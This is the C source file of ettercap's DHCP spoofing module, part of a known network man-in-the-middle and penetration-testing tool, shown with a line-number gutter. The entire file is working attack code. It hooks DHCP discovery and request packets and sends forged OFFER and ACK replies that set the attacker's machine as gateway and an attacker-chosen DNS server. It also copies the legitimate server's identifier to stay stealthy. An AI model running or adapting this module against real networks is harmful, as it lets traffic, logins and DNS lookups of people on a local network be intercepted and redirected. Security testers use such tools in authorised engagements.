1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359
|
/*
ettercap -- DHCP spoofing mitm module
Copyright (C) ALoR & NaGA
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA.
*/
#include <ec.h>
#include <ec_mitm.h>
#include <ec_send.h>
#include <ec_sniff.h>
#include <ec_threads.h>
#include <ec_hook.h>
#include <ec_packet.h>
#include <ec_proto.h>
/* globals */
static struct target_env dhcp_ip_pool;
static struct ip_list *dhcp_free_ip;
static struct ip_addr dhcp_netmask;
static struct ip_addr dhcp_dns;
static char dhcp_options[1500];
static size_t dhcp_optlen;
/* protos */
void dhcp_spoofing_init(void);
static int dhcp_spoofing_start(char *args);
static void dhcp_spoofing_stop(void);
static void dhcp_spoofing_req(struct packet_object *po);
static void dhcp_spoofing_disc(struct packet_object *po);
static void dhcp_setup_options(void);
static struct ip_addr *dhcp_addr_reply(struct ip_addr *radd);
/* from dissectors/ec_dhcp.c */
extern u_int8 * get_dhcp_option(u_int8 opt, u_int8 *ptr, u_int8 *end);
extern void put_dhcp_option(u_int8 opt, u_int8 *value, u_int8 len, u_int8 **ptr);
/*******************************************/
/*
* this function is the initializer.
* it adds the entry in the table of registered mitm
*/
void __init dhcp_spoofing_init(void)
{
struct mitm_method mm;
mm.name = "dhcp";
mm.start = &dhcp_spoofing_start;
mm.stop = &dhcp_spoofing_stop;
mitm_add(&mm);
}
/*
* init the ICMP REDIRECT attack
*/
static int dhcp_spoofing_start(char *args)
{
struct in_addr ipaddr;
char *p;
int i = 1;
DEBUG_MSG("dhcp_spoofing_start");
if (!strcmp(args, ""))
SEMIFATAL_ERROR("DHCP spoofing needs a parameter.\n");
/*
* Check to see if sniff has started - started automatically in text UI
*/
if (GBL_UI->type != UI_TEXT && !GBL_SNIFF->active)
SEMIFATAL_ERROR("DHCP spoofing requires sniffing to be active.\n");
/* check the parameter:
*
* ip_pool/netmask/dns
*/
for (p = strsep(&args, "/"); p != NULL; p = strsep(&args, "/")) {
/* first parameter (the ip_pool) */
if (i == 1) {
char tmp[strlen(p)+4];
/* add the / to be able to use the target parsing function */
snprintf(tmp, strlen(p)+4, "/%s//", p);
if (compile_target(tmp, &dhcp_ip_pool) != E_SUCCESS)
break;
/* second parameter (the netmask) */
} else if (i == 2) {
/* convert from string */
if (inet_aton(p, &ipaddr) == 0)
break;
/* get the netmask */
ip_addr_init(&dhcp_netmask, AF_INET, (u_char *)&ipaddr);
/* third parameter (the dns server) */
} else if (i == 3) {
char tmp[MAX_ASCII_ADDR_LEN];
/* convert from string */
if (inet_aton(p, &ipaddr) == 0)
break;
/* get the netmask */
ip_addr_init(&dhcp_dns, AF_INET, (u_char *)&ipaddr);
/* all the parameters were parsed correctly... */
USER_MSG("DHCP spoofing: using specified ip_pool, netmask %s", ip_addr_ntoa(&dhcp_netmask, tmp));
USER_MSG(", dns %s\n", ip_addr_ntoa(&dhcp_dns, tmp));
/* add the hookpoints */
hook_add(HOOK_PROTO_DHCP_REQUEST, dhcp_spoofing_req);
hook_add(HOOK_PROTO_DHCP_DISCOVER, dhcp_spoofing_disc);
/* create the options */
dhcp_setup_options();
/* se the pointer to the first ip pool address */
dhcp_free_ip = LIST_FIRST(&dhcp_ip_pool.ips);
return E_SUCCESS;
}
i++;
}
/* error parsing the parameter */
SEMIFATAL_ERROR("DHCP spoofing: parameter number %d is incorrect.\n", i);
return -E_FATAL;
}
/*
* shut down the redirect process
*/
static void dhcp_spoofing_stop(void)
{
DEBUG_MSG("dhcp_spoofing_stop");
USER_MSG("DHCP spoofing stopped.\n");
/* remove the hookpoint */
hook_del(HOOK_PROTO_DHCP_REQUEST, dhcp_spoofing_req);
hook_del(HOOK_PROTO_DHCP_DISCOVER, dhcp_spoofing_disc);
}
/*
* Find the right address to reply
*/
static struct ip_addr *dhcp_addr_reply(struct ip_addr *radd)
{
static struct ip_addr broad_addr;
u_int32 broad_int32 = 0xffffffff;
ip_addr_init(&broad_addr, AF_INET, (u_char *)&broad_int32);
/* check if the source is 0.0.0.0 */
if ( ip_addr_is_zero(radd) )
return &broad_addr;
return radd;
}
/*
* parses the request and send the spoofed reply
*/
static void dhcp_spoofing_req(struct packet_object *po)
{
char dhcp_hdr[LIBNET_DHCPV4_H];
struct libnet_dhcpv4_hdr *dhcp;
u_int8 *options, *opt, *end;
struct ip_addr client, server;
char tmp[MAX_ASCII_ADDR_LEN];
DEBUG_MSG("dhcp_spoofing_req");
/* get a local copy of the dhcp header */
memcpy(dhcp_hdr, po->DATA.data, LIBNET_DHCPV4_H);
dhcp = (struct libnet_dhcpv4_hdr *)dhcp_hdr;
/* get the pointers to options */
options = po->DATA.data + LIBNET_DHCPV4_H;
end = po->DATA.data + po->DATA.len;
/* use the same dhcp header, but change the type of the message */
dhcp->dhcp_opcode = LIBNET_DHCP_REPLY;
/*
* if the client is requesting a particular IP address,
* release it. so we don't mess the network too much...
* only change the router ip ;)
*/
/* get the requested ip */
if ((opt = get_dhcp_option(DHCP_OPT_RQ_ADDR, options, end)) != NULL)
ip_addr_init(&client, AF_INET, opt + 1);
else {
/* search if the client already has the ip address */
if (dhcp->dhcp_cip != 0) {
ip_addr_init(&client, AF_INET, (u_char *)&dhcp->dhcp_cip);
} else
return;
}
/* set the requested ip */
dhcp->dhcp_yip = *client.addr32;
/* this is a dhcp ACK */
dhcp_options[2] = DHCP_ACK;
/*
* if it is a request after an offer from a server,
* spoof its ip to be stealth.
*/
if ((opt = get_dhcp_option(DHCP_OPT_SRV_ADDR, options, end)) != NULL) {
/* get the server id */
ip_addr_init(&server, AF_INET, opt + 1);
/* set it in the header */
dhcp->dhcp_sip = *server.addr32;
/* set it in the options */
ip_addr_cpy((u_char*)dhcp_options + 5, &server);
send_dhcp_reply(&server, dhcp_addr_reply(&po->L3.src), po->L2.src, (u_char*)dhcp_hdr, (u_char*)dhcp_options, dhcp_optlen);
} else {
/*
* the request does not contain an identifier,
* use our ip address
*/
dhcp->dhcp_sip = *GBL_IFACE->ip.addr32;
/* set it in the options */
ip_addr_cpy((u_char*)dhcp_options + 5, &GBL_IFACE->ip);
send_dhcp_reply(&GBL_IFACE->ip, dhcp_addr_reply(&po->L3.src), po->L2.src, (u_char*)dhcp_hdr, (u_char*)dhcp_options, dhcp_optlen);
}
USER_MSG("DHCP spoofing: fake ACK [%s] ", mac_addr_ntoa(po->L2.src, tmp));
USER_MSG("assigned to %s \n", ip_addr_ntoa(&client, tmp));
}
/*
* parses the discovery message and send the spoofed reply
*/
static void dhcp_spoofing_disc(struct packet_object *po)
{
char dhcp_hdr[LIBNET_DHCPV4_H];
struct libnet_dhcpv4_hdr *dhcp;
char tmp[MAX_ASCII_ADDR_LEN];
DEBUG_MSG("dhcp_spoofing_disc");
/* no more ip available in the pool */
if (dhcp_free_ip == SLIST_END(&dhcp_ip_pool.ips))
return;
/* get a local copy of the dhcp header */
memcpy(dhcp_hdr, po->DATA.data, LIBNET_DHCPV4_H);
dhcp = (struct libnet_dhcpv4_hdr *)dhcp_hdr;
/* use the same dhcp header, but change the type of the message */
dhcp->dhcp_opcode = LIBNET_DHCP_REPLY;
/* this is a dhcp OFFER */
dhcp_options[2] = DHCP_OFFER;
/* set the free ip from the pool */
dhcp->dhcp_yip = *dhcp_free_ip->ip.addr32;
/* set it in the header */
dhcp->dhcp_sip = *GBL_IFACE->ip.addr32;
/* set it in the options */
ip_addr_cpy((u_char*)dhcp_options + 5, &GBL_IFACE->ip);
/* send the packet */
send_dhcp_reply(&GBL_IFACE->ip, dhcp_addr_reply(&po->L3.src), po->L2.src, (u_char*)dhcp_hdr, (u_char*)dhcp_options, dhcp_optlen);
USER_MSG("DHCP spoofing: fake OFFER [%s] ", mac_addr_ntoa(po->L2.src, tmp));
USER_MSG("offering %s \n", ip_addr_ntoa(&dhcp_free_ip->ip, tmp));
/* move the pointer to the next ip */
dhcp_free_ip = LIST_NEXT(dhcp_free_ip, next);
}
/*
* prepare the buffer with the options to be used
* in replies
*/
static void dhcp_setup_options(void)
{
int time;
u_int8 *p = (u_int8*)dhcp_options;
DEBUG_MSG("dhcp_setup_options");
/* lease time from conf file */
time = htonl(GBL_CONF->dhcp_lease_time);
/* the type of reply */
*p++ = DHCP_OPT_MSG_TYPE;
*p++ = 1;
*p++ = DHCP_ACK;
/* server identifier */
put_dhcp_option(DHCP_OPT_SRV_ADDR, GBL_IFACE->ip.addr, ntohs(GBL_IFACE->ip.addr_len), &p);
/* lease time */
put_dhcp_option(DHCP_OPT_LEASE_TIME, (u_int8 *)&time, 4, &p);
/* the netmask */
put_dhcp_option(DHCP_OPT_NETMASK, dhcp_netmask.addr, ntohs(dhcp_netmask.addr_len), &p);
/* the gateway */
put_dhcp_option(DHCP_OPT_ROUTER, GBL_IFACE->ip.addr, ntohs(GBL_IFACE->ip.addr_len), &p);
/* the dns */
put_dhcp_option(DHCP_OPT_DNS, dhcp_dns.addr, ntohs(dhcp_dns.addr_len), &p);
/* end of options */
*p++ = DHCP_OPT_END;
/* the total len of the options */
dhcp_optlen = (char *)p - (char *)dhcp_options;
/* pad to the minimum length */
if (dhcp_optlen < DHCP_OPT_MIN_LEN) {
memset(p, 0, DHCP_OPT_MIN_LEN - dhcp_optlen);
dhcp_optlen = DHCP_OPT_MIN_LEN;
}
}
/* EOF */
// vim:ts=3:expandtab
|